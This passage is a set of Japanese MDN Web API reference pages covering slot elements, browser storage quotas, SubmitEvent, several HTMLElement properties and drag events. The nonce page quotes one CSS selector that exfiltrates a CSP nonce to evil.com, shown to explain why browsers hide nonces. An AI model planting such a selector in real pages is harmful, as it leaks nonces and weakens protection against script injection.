論理値で、利用可能な子の `<slot>` 要素すべてに割り当てられた要素を返すか (`true`)、返さないか (`false`) を示します。既定値は `false` です。

### 返値

要素の配列です。

例
-

```js
let slots = this.shadowRoot.querySelector("slot");
let elements = slots.assignedElements({ flatten: true });
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-slot-assignedelements-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSlotElement: assignedNodes() メソッド - Web API

HTMLSlotElement: assignedNodes() メソッド
=====================================

`assignedNodes()` は `HTMLSlotElement` インターフェイスのプロパティで、このスロットに割り当てられた一連のノードを返します。

`flatten` オプションが `true` に設定されていた場合は、このスロットの子孫である他のスロットに割り当てられたノードも返します。割り当てられたノードが見つからない場合は、スロットの代替コンテンツを返します。

構文
--

```js
assignedNodes()
assignedNodes(options)
```

### 引数

`options` 省略可

返されるノードのためのオプションを設定したオブジェクトです。利用可能な値は以下のとおりです。

`flatten`

論理値で、利用可能な子の `<slot>` 要素すべてに割り当てられたノードを返すか (`true`)、返さないか (`false`) を示します。既定値は `false` です。

### 返値

ノードの配列。

例
-

以下のスニペットは、 slotchange
の例 (ライブでも確認) からとりました。

```js
let slots = this.shadowRoot.querySelectorAll("slot");
slots[1].addEventListener("slotchange", (e) => {
  let nodes = slots[1].assignedNodes();
  console.log(
    `Element in Slot "${slots[1].name}" changed to "${nodes[0].outerHTML}".`,
  );
});
```

ここではすべてのスロットの参照を取得し、テンプレート内の 2 番目のスロットに slotchange イベントリスナーを追加します。 — これが例の中でコンテンツの変更を追跡します。

スロットの変更の中で要素が挿入されるたびに、コンソールにどのスロットが変更されたか、スロット内の新しいノードは何であるかをログ出力します。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-slot-assignednodes-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSlotElement: slotchange イベント - Web API

HTMLSlotElement: slotchange イベント
================================

Baseline Widely available
-------------------------

This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.

* Learn more
* See full compatibility
* Report feedback
**`slotchange`** イベントは、 `HTMLSlotElement` インスタンス(`<slot>` 要素) において、そのスロットに含まれるノードが変更された場合に発行されます。

**メモ:** スロットに入っているノードの子ノードが変更された場合、 `slotchange` イベントは発生しません。実際のノード自体を変更（例えば、追加または削除）した場合に限ります。

**slotchange** イベントを発行させるには、 `slot` 属性を設定または削除しなければなりません。

このイベントはキャンセルできません。

構文
--

このイベント名を `addEventListener()` などのメソッドで使用するか、イベントハンドラープロパティに設定するかしてください。

```js
addEventListener("slotchange", (event) => {});

onslotchange = (event) => {};
```

イベント型
-----

一般的な `Event` です。

例
-

```js
element.setAttribute("slot", slotName);
// element.assignedSlot = $slot
element.removeAttribute("slot");
// element.assignedSlot = null
```

次のスニペットは、 slotchange の例から取りました (ライブでも確認できます)。

```js
let slots = this.shadowRoot.querySelectorAll("slot");
slots[1].addEventListener("slotchange", (e) => {
  let nodes = slots[1].assignedNodes();
  console.log(
    `Element in Slot "${slots[1].name}" changed to "${nodes[0].outerHTML}".`,
  );
});
```

ここではすべての `<slot>` への参照を取得し、テンプレートの 2 番目のスロットに `slotchange` イベントリスナーを追加します。この例ではコンテンツが変更されているスロットです。

スロットに挿入された要素が変更されるたびに、どのスロットが変更されたか、スロット内の新しいノードが何であるかを示すレポートがコンソールに記録されます。

仕様書
---

| Specification |
| --- |
| DOM Standard # eventdef-htmlslotelement-slotchange |
| HTML Standard # handler-onslotchange |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

`HTMLSlotElement`


HTMLSlotElement: name プロパティ - Web API

HTMLSlotElement: name プロパティ
===========================

**`name`** は `HTMLSlotElement` インターフェイスのプロパティで、スロットの名前を返したり、設定したりします。スロットはウェブコンポーネント内のプレイスホルダーで、ユーザーが独自のマークアップで埋めることができます。

値
-

文字列です。

例
-

以下のスニペットは、 slotchange
の例から取ったものです (ライブでも確認してください).

```js
let slots = this.shadowRoot.querySelectorAll("slot");
slots[1].addEventListener("slotchange", (e) => {
  let nodes = slots[1].assignedNodes();
  console.log(
    `Element in Slot "${slots[1].name}" changed to "${nodes[0].outerHTML}".`,
  );
});
```

ここでは、すべてのスロットの参照を取得し、テンプレートの 2 番目のスロット（この例では内容が変更され続けるスロット）に slotchange イベントリスナーを追加しています。

スロットに挿入された要素が変更されるたびに、どのスロットが変更され、スロット内の新しいノードが何であるかというレポートをコンソールに記録しています。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-slot-name-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSlotElement: assign() メソッド - Web API

HTMLSlotElement: assign() メソッド
==============================

**`assign()`** は `HTMLSlotElement` インターフェイスのメソッドで、このスロットの手動で割り当てられたノードをスロットテーブルの順序付きリストに設定します。手動で割り当てられたノードは初期状態では、ノードに `assign()` を使用して割り当てられるまで空です。

**メモ:** 手動の（命令的な）スロットと名前付き（宣言的、自動的な）スロットの割り当てを混在させることはできません。したがって、このメソッドを動作させるには、シャドウツリーを作成するのに `slotAssignment: "manual"` オプションを使用する必要があります。

構文
--

```js
assign(node1)
assign(node1, node2)
assign(node1, node2, /\* … ,\*/ nodeN)
```

### 引数

`node1`, …, `nodeN`

一連の `Element` または `Text` ノードです。

### 返値

なし (`undefined`)。

### 例外

* `NotAllowedError` `DOMException`
 -: 自動的に割り当てられるスロットでこのメソッドを呼び出すと発生します。
例
-

以下の例では、タブ型アプリケーションで正しいタブを表示するために `assign()` メソッドを使用しています。この関数が呼び出され、表示するパネルが渡され、それがスロットに代入されます。

```js
function UpdateDisplayTab(elem, tabIdx) {
  const shadow = elem.shadowRoot;
  const slot = shadow.querySelector("slot");
  const panels = elem.querySelectorAll("tab-panel");
  if (panels.length && tabIdx && tabIdx <= panels.length) {
    slot.assign(panels[tabIdx - 1]);
  } else {
    slot.assign();
  }
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-slot-assign |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Element.attachShadow()`


ブラウザーのストレージ制限と削除基準 - Web API

ブラウザーのストレージ制限と削除基準
==================

ウェブ開発者が、ユーザーのブラウザー（つまり、ユーザーがウェブサイトを閲覧するために使用している端末のローカルディスク）にデータを格納するために利用できる技術はたくさんあります。

ブラウザーがウェブサイトに格納することを許可するデータ量と、その制限に達したときにデータを削除するために使用する仕組みは、ブラウザーによって異なります。

この記事では、データを格納するために使用できるウェブ技術、ウェブサイトがデータを格納しすぎないように制限するためにブラウザーが所有しているクォータ、および必要なときにデータを削除するために使用する仕組みについて記述されています。

ブラウザーでは、異なるウェブサイトのデータをどのように区切るのか
--------------------------------

ブラウザーは、ユーザーがウェブ上で追跡されるリスクを縮小するために、ウェブサイトからのデータをさまざまな場所に格納します（バケットとも呼ばれます）。ほとんどの場合、ブラウザーは格納されるデータをオリジンごとに管理します。

このため、オリジンという用語は、この記事を理解する上で重要です。オリジンはスキーム（HTTPS　など）、ホスト名、ポート番号で定義します。例えば、`https://example.com` と `https://example.com/app/index.html` はスキーム (`https`)、ホスト名 (`example.com`) が同じであり、既定のポートであるため、同じオリジンに属します。

この記事で記述されているクォータと退去基準は、このオリジンが `https://example.com/site1/` や `https://example.com/site2/` のように複数のウェブサイトを実行するために使用されている場合でも、オリジン全体に適用されます。

しかし、例えばオリジンが複数の異なるサードパーティ製オリジンの `<iframe>` 要素内に読み込まれる場合など、ブラウザーではオリジンによって格納されるデータをさらに別個のパーティションに分けることができます。しかし、分かりやすいように、この記事では常にオリジンごとにデータが格納されることを想定しています。

ブラウザーにデータを格納する技術は何か
-------------------

ウェブ開発者は、ブラウザーにデータを格納するために以下のウェブ技術を使用することができます。

| 技術 | 説明 |
| --- | --- |
| Cookie | HTTP クッキーは、ウェブサーバーとブラウザーが互いに送信する小さなデータで、ページナビゲーションをまたいで状態情報を記憶します。 |
| ウェブストレージ | ウェブストレージ API は、ウェブページが文字列のみのキーと値のペアを格納するために、`localStorage` と `sessionStorage` を含む機構を提供します。 |
| IndexedDB | IndexedDB は、大規模なデータ構造をブラウザーに格納し、インデックスを作成して高性能な検索を行うためのウェブ API です。 |
| キャッシュ API | キャッシュ API は、HTTP リクエストとレスポンスのオブジェクトペアの持続的な維持メカニズムを提供し、ウェブページの読み込みを高速化するために使用されます。 |
| オリジンプライベートファイルシステム (OPFS) | OPFS は、ページの元に対してプライベートなファイルシステムを提供し、ディレクトリーやファイルを読み書きするために使用することができます。 |

上記に加え、ブラウザーは WebAssembly コードキャッシュなど、オリジンのために他にも型データをブラウザーに格納することに注意してください。

ブラウザーに格納されるデータは維持されるか
---------------------

オリジンのデータはブラウザーに、永続的とベストエフォートという 2 つの方法で格納されます。

* ベストエフォート: これは既定でデータが格納される方法です。ベストエフォートのデータは、オリジンがクォータ以下にあり、機器に十分なストレージ空間が保有され、ユーザーがブラウザー設定からデータの削除を選ばない限り維持されます。
* 永続的: オリジンは、永続的な方法でデータを格納するためにオプトインすることができます。このように格納されたデータは、ユーザーがブラウザー設定を用いて格納することを選んだ場合のみ、削除されます。詳しくは、When is data evictedを参照してください。

オリジンによってブラウザーに格納されるデータは、既定ではベストエフォートです。 IndexedDB やキャッシュなどのウェブ技術を使用する場合、データはユーザーの権限を要求することなく透過的に格納されます。同様に、ブラウザーがベストエフォート型データを削除する必要がある場合、ユーザーにの断りなく削除されます。

何らかの理由で開発者が永続的なストレージを必要とする場合（例えば、他のどこにも維持されていない重要なデータに頼っているウェブアプリケーションを構築する場合）、ストレージ API の `navigator.storage.persist()` メソッドを使用することでそれを行うことができます。

Firefox では、サイトが永続的ストレージを使用することを選ぶと、ユーザーに UI ポップアップでその権限がリクエストされたことが通知されます。

Safari と、ほとんどの Chromium ベースのブラウザー（Chrome や Edge など）は、ユーザーのサイトとの対話履歴に基づいて自動的にリクエストを承認または拒否し、ユーザーにプロンプトを表示させません。

なお、 Chrome チームの調査によると、データがブラウザーによって削除されることはとても稀であることを示しています。ユーザーがウェブサイトを定期的に訪問している場合、ベストエフォートモードであっても、格納されるデータがブラウザーによって取得される可能性はとても低いのです。

### プライベートブラウジング

プライベートブラウジングモード（Chrome では *Incognito*、 Edge では *InPrivate* とも呼ばれる）では、ブラウザーによって異なるクォータが適用されることがあり、格納されるデータは通常、プライベートブラウジングモードが終わると削除されることに注意してください。

どれだけのデータが格納できるか
---------------

### Cookie

ブラウザーごとに、オリジンごとに許可されるクッキーの数と、これらのクッキーがディスク上で使用できる空間について、異なる規則があります。クッキーはブラウザーとウェブサーバーの間でページナビゲーションにわたって小さな共有状態を保持するのに有益なものですが、ブラウザーのデータ格納のためにクッキーを使用することはお勧めできません。クッキーは HTTP リクエストごとに送信されるため、別のウェブ技術を使用することで格納できるデータをクッキーに格納すると、リクエストのサイズが不必要に大きくなります。

クッキーはブラウザーにデータを格納するために使用すべきではありませんから、クッキーの格納ブラウザーの制限はここでは取り上げません。

### ウェブストレージ

ウェブストレージは、 `Window` オブジェクトの `localStorage` および `sessionStorage` プロパティを使用してアクセスすることができ、すべてのブラウザーでデータ量が最大 10MiB に制限されています。

ブラウザーはローカルストレージを 5MiB まで、オリジンごとにセッションストレージを 5MiB まで格納することができます。

この制限に達すると、ブラウザーは `QuotaExceededError` 例外を発生します。これは `try...catch` ブロックを使用して処理しましょう。

### その他のウェブ技術

IndexedDB、キャッシュ API、ファイルシステム API（オリジンプライベートファイルシステムを定義する）などの他にもウェブ技術を使用して格納されるデータは、各ブラウザー固有のストレージ管理システムによって管理されます。

このシステムはこれらの API を使用してオリジンが格納するすべてのデータを管理します。

それぞれのブラウザーは、指定されたオリジンが使用することができるストレージの最大量を、あらゆるメカニズムを使って決定します。

#### Firefox

Firefox では、ベストエフォートモードでオリジンが使用できる最大ストレージ空間は、以下のいずれか小さい方です。

* ユーザーのプロファイルが格納されるディスク総容量の 10%。
* または、 10GiB は Firefox が同じ eTLD+1 ドメイン (en-US)に属するすべてのオリジンに適用するグループ制限です。

永続的ストレージが許可されているオリジンは、総ディスクサイズの 50% （上限 8 TiB）まで格納することができ、eTLD+1 グループの制限を受けません。

例えば、端末に 500 GiB のハードドライブがある場合、 Firefox はオリジンに以下の量まで格納することを許可します。

* ベストエフォートモードの場合: eTLD+1 グループの制限である 10GiB のデータ。
* 永続モードの場合: 250 ギガバイト（ディスク総サイズの 50%）。

クォータは現在利用できるディスク空間ではなく、ハードドライブの**総**サイズに基づいて計算されるため、オリジンがそのクォータに到達することは実際には不可能かもしれないことに注意してください。これはセキュリティ上の理由からフィンガープリンティングを避けるために行われます。

#### Chrome および Chromium ベースのブラウザー

Chrome や Edge を含む Chromium オープンソースプロジェクトに基づくブラウザーでは、オリジンは永続モードとベストエフォートモードの両方で、総ディスクサイズの 60% まで格納することができます。

例えば、機器に 1TiB のハードドライブがある場合、ブラウザーは一つのオリジンが 600GiB まで使用することを許可します。

Firefox と同様に、このクォータはフィンガープリントを避けるためにハードドライブの合計サイズに基づいて計算されるため、オリジンは実際にはクォータに到達しない可能性があります。

#### Safari

Safari では、オリジンには最初に 1GiB のクォータが指定されます。オリジンがこの制限に達すると、 Safari はユーザーに、オリジンがさらにデータを格納するためにその権限を要求します。これは、オリジンがデータを格納するのがベストエフォートモードでも永続モードでも発生します。

利用可能な空間をチェックする方法
----------------

ウェブ開発者は、このオリジンで利用可能な空間がどれくらいか、オリジンがどれだけ使用しているかをストレージ API の`navigator.storage.estimate()`メソッドで調べることができます。

このメソッドは使用量の推定値のみを返し、実際の値を返さないことに注意してください。オリジンによって格納されるリソースの一部は、他にもオリジンから来る可能性があり、ブラウザーは総使用値を報告する際に、自発的にオリジン間データのサイズをパディングします。

オリジンがクォータを使い切った場合はどうなるか
-----------------------

例えば、IndexedDB、キャッシュ、OPFS を使用して、オリジンのクォータを超えて格納しようとすると、`QuotaExceededError` 例外が発生して失敗します。

ウェブ開発者はブラウザーストレージに書き込む JavaScript を `try...catch` ブロックで囲むべきです。新しいデータを格納するために、データを削除して空間を解放することも推奨されます。

データが退去されるのはいつか
--------------

データ退去とは、ブラウザーがオリジンの格納されるデータを削除するプロセスです。

データ消去は複数のケースで発生します。

* 端末の記憶領域が残り少なくなっているとき。
* ブラウザーに（すべてのオリジンにわたって）格納されるすべてのデータが、ブラウザーが端末上で使用するために必要な空間の大きさを超えた場合。
* 定期的に使用していないオリジンについては、 Safari でのみ発生します。
### ストレージ圧縮による退去

ストレージ圧縮とも呼ばれるように、端末のストレージ空間が不足している場合、ブラウザーが利用できる領域がオリジンの格納されるデータをすべて保存するのに必要な領域よりも少なくなる点があります。

ブラウザーは、このシナリオに対処するために LRU (Least Recently Used) ポリシーを使用します。最も最近使用したオリジンのデータは削除されます。ストレージの圧縮が続く場合、ブラウザーは 2 つ目に最も最近使用したオリジンに移動し、問題が解決するまでこれを繰り返します。

この退去メカニズムは、永続的でないオリジンにのみ適用され、 `navigator.storage.persist()` を使用してデータの永続性を付与されたオリジンはスキップされます。

### ブラウザーストレージの最大値を超えたことによる退去

ブラウザーによっては、端末のハードディスクで使用できる最大ストレージ空間を定義しています。例えば、Chromeは現在、全ディスクサイズの最大80%を使用しています。

この最大ストレージサイズは、すべてのオリジンの組み合わせによって格納されるデータが、どのオリジンも個々の割り当てを超えることなく、最大サイズを超える点があることを意味しています。

この場合、ブラウザーはストレージ圧縮による退去で記述されているように、ベストエフォート型オリジンの削除を開始します。

### 積極的な退去

Safari は、クロスサイトトラッキング防止がオンになっている場合、積極的にデータを消去します。ブラウザーが使用されてから 7 日以内にクリックやタップなどのユーザー対話がなかったオリジンは、スクリプトから作成されたデータが削除されます。サーバーによって設定されたクッキーは、この削除の対象から除外されます。

データはどのように消去されるのか
----------------

オリジンのデータがブラウザーによって削除される場合、データの一部ではなく、すべてのデータが同時に削除されます。例えばオリジンが IndexedDB とキャッシュ API を使用してデータを格納していた場合、両方の種類のデータが削除されます。

元のデータの一部だけを削除すると、不整合の問題が発生する可能性があるからです。

関連情報
----

* ウェブのストレージ (web.dev)
* 永続的ストレージ (web.dev)
* Chrome Web Storage and Quota Concepts


SubmitEvent.submitter - Web API

SubmitEvent.submitter
=====================

**`submitter`** は `SubmitEvent` インターフェイスにある読み取り専用プロパティで、フォームを送信させるために呼び出された送信ボタンや他の要素を指定します。

値
-

要素で、フォームに送信した `submit` イベントを送った要素を表します。これは、 `<input>` 要素で `type` が `submit` であるものや、 `<button>` 要素で `type` が `submit` であるものが多いのですが、送信処理を開始した要素は他のものである可能性があります。

送信が何らかのボタンによって発生したものでない場合、 `submitter` の値は `null` になります。

例
-

コード例は `SubmitEvent`を参照してください。

仕様書
---

| Specification |
| --- |
| HTML Standard # the-submitevent-interface:dom-submitevent-submitter-2 |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


SubmitEvent() - Web API

SubmitEvent()
=============

**`SubmitEvent()`** コンストラクターは、新しい `SubmitEvent` オブジェクトを作成して返します。これは HTML フォームで発行された `submit` イベントを表現するために使用されます。

構文
--

```js
new SubmitEvent(type)
new SubmitEvent(type, options)
```

### 引数

`type`

 イベントの名前を表す文字列。
 大文字と小文字は区別され、ブラウザーは常に `submit` に設定します。

`options` 省略可

オブジェクトで、 *`Event()` で定義されているプロパティに加え*、以下のプロパティを持つことができます。

`submitter` 省略可

フォームを送信するきっかけとなった送信ボタンである `HTMLElement` オブジェクトです。

### 返値

指定された入力コントロールを使用して構成された `SubmitEvent` オブジェクト。

例
-

 このコードでは、現在の文書内のフォームを探し、そのフォームに `submit` クラスを持つ HTML `<button>` 探します。
 次に、新しい `SubmitEvent` を作成し、その `submitter` には、特定したボタン（またはボタンが見つからなかった場合は `null` ）を設定します。そして、イベントをフォームに送信し、ボタンによって送信されたことをフォームに指示します。

```js
const form = document.querySelector("form");
const formTrigger = form.querySelector("button.submit");
const submitEvent = new SubmitEvent("submit", { submitter: formTrigger });

form.dispatchEvent(submitEvent);
```

この例はやや作為的なもので、ほぼすべての処理をもっと簡単に行うことができますが、これによって処理を深く制御することができ、それが有用となる場合があります。

仕様書
---

| Specification |
| --- |
| HTML Standard # submitevent |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement: accessKey プロパティ - Web API

HTMLElement: accessKey プロパティ
============================

**`HTMLElement.accessKey`** プロパティは、ユーザーが押すとこの要素へジャンプすることができるキーストロークを設定します。

**メモ:** `HTMLElement.accessKey` プロパティは、ブラウザーにすでに存在するキーバインドとよく衝突するため、めったに使われることはありません。これを回避するために、ブラウザーは accesskey の動作を他の「修飾」キー（`Alt` + accesskey など）と一緒に押された場合に動作するよう実装しています。

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* HTML グローバル属性: accesskey


HTMLElement: style プロパティ - Web API

HTMLElement: style プロパティ
========================

**`style`** は `HTMLElement` の読み取り専用プロパティで、要素のインラインスタイルを `CSSStyleDeclaration` オブジェクトの形で返します。このオブジェクトには、その要素のインラインの `style` 属性で定義されている属性に値が割り当てられている、その要素のすべてのスタイルプロパティのリストが入っています。

一括指定プロパティは展開されます。`style="border-top: 1px solid black"` と設定すると、個別指定プロパティ (`border-top-color`, `border-top-style`, `border-top-width`) が代わりに設定されます。

このプロパティは読み取り専用であり、`CSSStyleDeclaration` オブジェクトを割り当てることはできないことを意味しています。それでも、文字列を直接 `style` プロパティに代入することで、インラインスタイルを設定することは可能です。この場合、文字列は `CSSStyleDeclaration.cssText` に転送されます。この方法で `style` を使用すると、その要素のすべてのインラインスタイルが完全に上書きされます。

したがって、他のスタイル値を変えずに要素に固有のスタイルを追加するには、一般に `CSSStyleDeclaration` オブジェクトに個々のプロパティを設定することをお勧めします。例えば、`element.style.backgroundColor = "red"` と書くことができます。

スタイル宣言は、`elt.style.color = null` のように、`null` または空文字列を設定することでリセットされます。

**メモ:** CSS プロパティ名は以下のルールで JavaScript の識別子に変換されます。

* プロパティが 1 語で構成されている場合は、そのままの形になります。`height` はそのまま（小文字で）残ります。
* プロパティがダッシュ区切りで複数の単語から構成されている場合は、ダッシュが削除されて *キャメルケース* へと変換されます。`background-attachment` は `backgroundAttachment` となります。
* プロパティ `float` は JavaScript の予約語なので、 `cssFloat` に変換されます。

`style` プロパティは、CSS カスケードにおいて、`style` 属性で設定されたインラインスタイル宣言と同じ優先順位を持ちます。

値
-

動的な `CSSStyleDeclaration` オブジェクトです。

例
-

### スタイル情報の取得

次のコードスニペットは、要素の `style` プロパティで取得した値と、HTML 属性で設定された一連のスタイルの関係を示します。

```html
<!doctype html>
<html lang="en-US">
  <body style="font-weight:bold">
    <div style="border-top: 1px solid blue; color:red" id="elt">
      An example div
    </div>
    <pre id="out"></pre>
  </body>
</html>
```

```js
const element = document.getElementById("elt");
const out = document.getElementById("out");
const elementStyle = element.style;

// We loop through all styles (for…of doesn't work with CSStyleDeclaration)
for (const prop in elementStyle) {
  if (Object.hasOwn(elementStyle, prop)) {
    out.textContent += `${
 elementStyle[prop]
 } = '${elementStyle.getPropertyValue(elementStyle[prop])}'\n`;
  }
}
```

なお、`font-weight` は `elementStyle` の値として載っていませんが、これは要素自体の `style` 属性の中で定義されていないからです。また、`style` 属性で定義されている一括指定の `border-top` プロパティは、直接載っていないことに注意してください。代わりに、対応する 3 つの個別指定プロパティ (`border-top-color`, `border-top-style`, `border-top-width`) に置き換えられています。

仕様書
---

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-elementcssinlinestyle-style |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 動的なスタイル情報の利用
* `SVGElement.style` (en-US)


HTMLElement: outerText プロパティ - Web API

HTMLElement: outerText プロパティ
============================

**`outerText`** は `HTMLElement` インターフェイスのプロパティで、 `HTMLElement.innerText` と同じ値を返します。
 セッターとして使用するときは、現在のノード全体を指定されたテキストに置き換えます（これは現在のノードの*内部*のコンテンツを置き換える `innerText` と異なります）。

詳しい情報や、両プロパティをゲッターとして使用する方法を示した例は `HTMLElement.innerText` を参照してください。

値
-

文字列で、この要素とその配下で表示されるテキストコンテンツを表します。

要素自身が表示されていない場合（例えば、文書から切り離されていた場合や表示から隠されていた場合）、返値は `Node.textContent` プロパティのものと同じになります。

セッターとして使用された場合、この要素の子要素を指定された値で置き換え、すべての改行を `<br>` 要素に変換します。

例
-

この例では、 `outerText` と `innerText` をセッターとして使用した場合の根本的な違いを強調しています（ゲッターで使用した場合は同じです）。

**メモ:** この例は What is the difference between innerText and outerText? (Stack overflow) の記事で codingintrigue が作成し、 CC BY-SA 3.0 のライセンスで配布されているものを変更したものです。

以下のような HTML が入っているページがあるとします。

```html
<div>
  <p>元の内容</p>
</div>
```

`outerText` は選択された要素全体を置き換えますので、 JavaScript で `p.outerText = "要素全体を置換"` を実行すると、選択された `p` 要素全体を置き換えます。

```html
<div>要素全体を置換</div>
```

一方 `p.innerText = "要素内のコンテンツを置換"` を実行すると、選択された `p` 要素の*内部の*コンテンツを置き換えます。

```html
<div>
  <p>要素内のコンテンツを置換</p>
</div>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-outertext |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.innerText`
* `Element.outerHTML`


HTMLElement: lang プロパティ - Web API

HTMLElement: lang プロパティ
=======================

**`HTMLElement.lang`** プロパティは、要素の属性値とテキストコンテンツの基本言語を取得または設定します。

このプロパティによって返される言語コードは、 RFC 5646: Tags for Identifying Languages (BCP 47 とも呼ばれる) で定義されています。 一般的な例には、英語の "en"、日本語の "ja"、スペイン語の "es" などがあります。 この属性の既定値は `unknown` です。 この属性は、ここで説明する個々の要素レベルで有効ですが、ほとんどの場合、文書のルート要素に対して指定されます。

これも `lang` 属性でのみ機能し、`xml:lang` では機能しません。

値
-

文字列です。

例
-

```js
// このスニペットは基本言語を比較し、
// 言語に基づいて別の URL にリダイレクトするものです
if (document.documentElement.lang === "en") {
  window.location.href = "Some\_document.html.en";
} else if (document.documentElement.lang === "ru") {
  window.location.href = "Some\_document.html.ru";
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-lang |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement: drag イベント - Web API

HTMLElement: drag イベント
======================

`drag` イベントは、要素や選択されたテキストをユーザーがドラッグしている間に、数百ミリ秒ごとに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("drag", (event) => {});

ondrag = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ＆ドロップの例

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* この例の中でユーザーによるテキストの選択を防止する \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
let dragged;

/\* ドラッグ可能なターゲット上で発生するイベント \*/
const source = document.getElementById("draggable");
source.addEventListener("drag", (event) => {
  console.log("dragging");
});

source.addEventListener("dragstart", (event) => {
  // ドラッグ中の要素の参照を保存
  dragged = event.target;
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});

/\* ドロップ対象に発生するイベント \*/
const target = document.getElementById("droptarget");
target.addEventListener(
  "dragover",
  (event) => {
    // ドロップできるように既定の動作を停止
    event.preventDefault();
  },
  false,
);

target.addEventListener("dragenter", (event) => {
  // ドラッグ可能な要素がドロップ先に入ったときに、ドロップ先の候補を強調表示する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // ドラッグ可能な要素がドロップ先から離れたときに、ドロップ先の候補の背景をリセットする
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});

target.addEventListener("drop", (event) => {
  // 既定の動作（一部の要素でリンクとして開く）を行わないようにする。
  event.preventDefault();
  // ドラッグした要素を選択されたドロップターゲットに移動する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
    event.target.appendChild(dragged);
  }
});
```

#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondrag |
| HTML Standard # event-dnd-drag |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他のターゲットにおけるこのイベント:
    + `Window`: `drag` イベント
    + `Document`: `drag` イベント
    + `SVGElement`: `drag` イベント


HTMLElement: nonce プロパティ - Web API

HTMLElement: nonce プロパティ
========================

**`nonce`** は `HTMLElement` インターフェイスのプロパティで、特定の読み取りを続行できるかどうかを決定するためにコンテンツセキュリティポリシーで使用される一度だけの暗号化番号を返します。

後の実装では、 `nonce` 属性を持つ要素はスクリプトにのみ公開します（CSS 属性セレクターのようなサイドチャネルには公開しません）。

例
-

### ノンス値の受け取り

以前は、すべてのブラウザーが IDL 属性の `nonce` に対応している訳ではなかったので、回避策としては、代替として `getAttribute` を使用するようにしていました。

```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```

しかし、最近の版のブラウザーでは、この方法でアクセスすると `nonce` の値を隠します（空の文字列が返されます）。 IDL プロパティ (`script['nonce']`) がノンスにアクセスする唯一の方法となります。

ノンスを隠蔽することは、この CSS セレクターのようなコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。

```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `nonce` グローバル属性
* コンテンツセキュリティポリシー
* CSP: `script-src`


HTMLElement: accessKeyLabel プロパティ - Web API

HTMLElement: accessKeyLabel プロパティ
=================================

**`HTMLElement.accessKeyLabel`** は読み取り専用プロパティで、要素に割り当てられたアクセスキーを（あれば）文字列で返します。それ以外の場合は空文字列を返します。

構文
--

```js
label = element.accessKeyLabel
```

例
-

### JavaScript

```js
const btn = document.getElementById("btn1");
const shortcutLabel = btn.accessKeyLabel || btn.accessKey;
btn.title += ` [${shortcutLabel.toUpperCase()}]`;

btn.onclick = () => {
  const feedback = document.createElement("output");
  feedback.textContent = "Pressed!";
  btn.insertAdjacentElement("afterend", feedback);
};
```

### HTML

```html
<button accesskey="h" title="キャプション" id="btn1">
  マウスを当ててください
</button>
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-accesskeylabel |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.accessKey`
* accesskey グローバル属性


HTMLElement: drop イベント - Web API

HTMLElement: drop イベント
======================

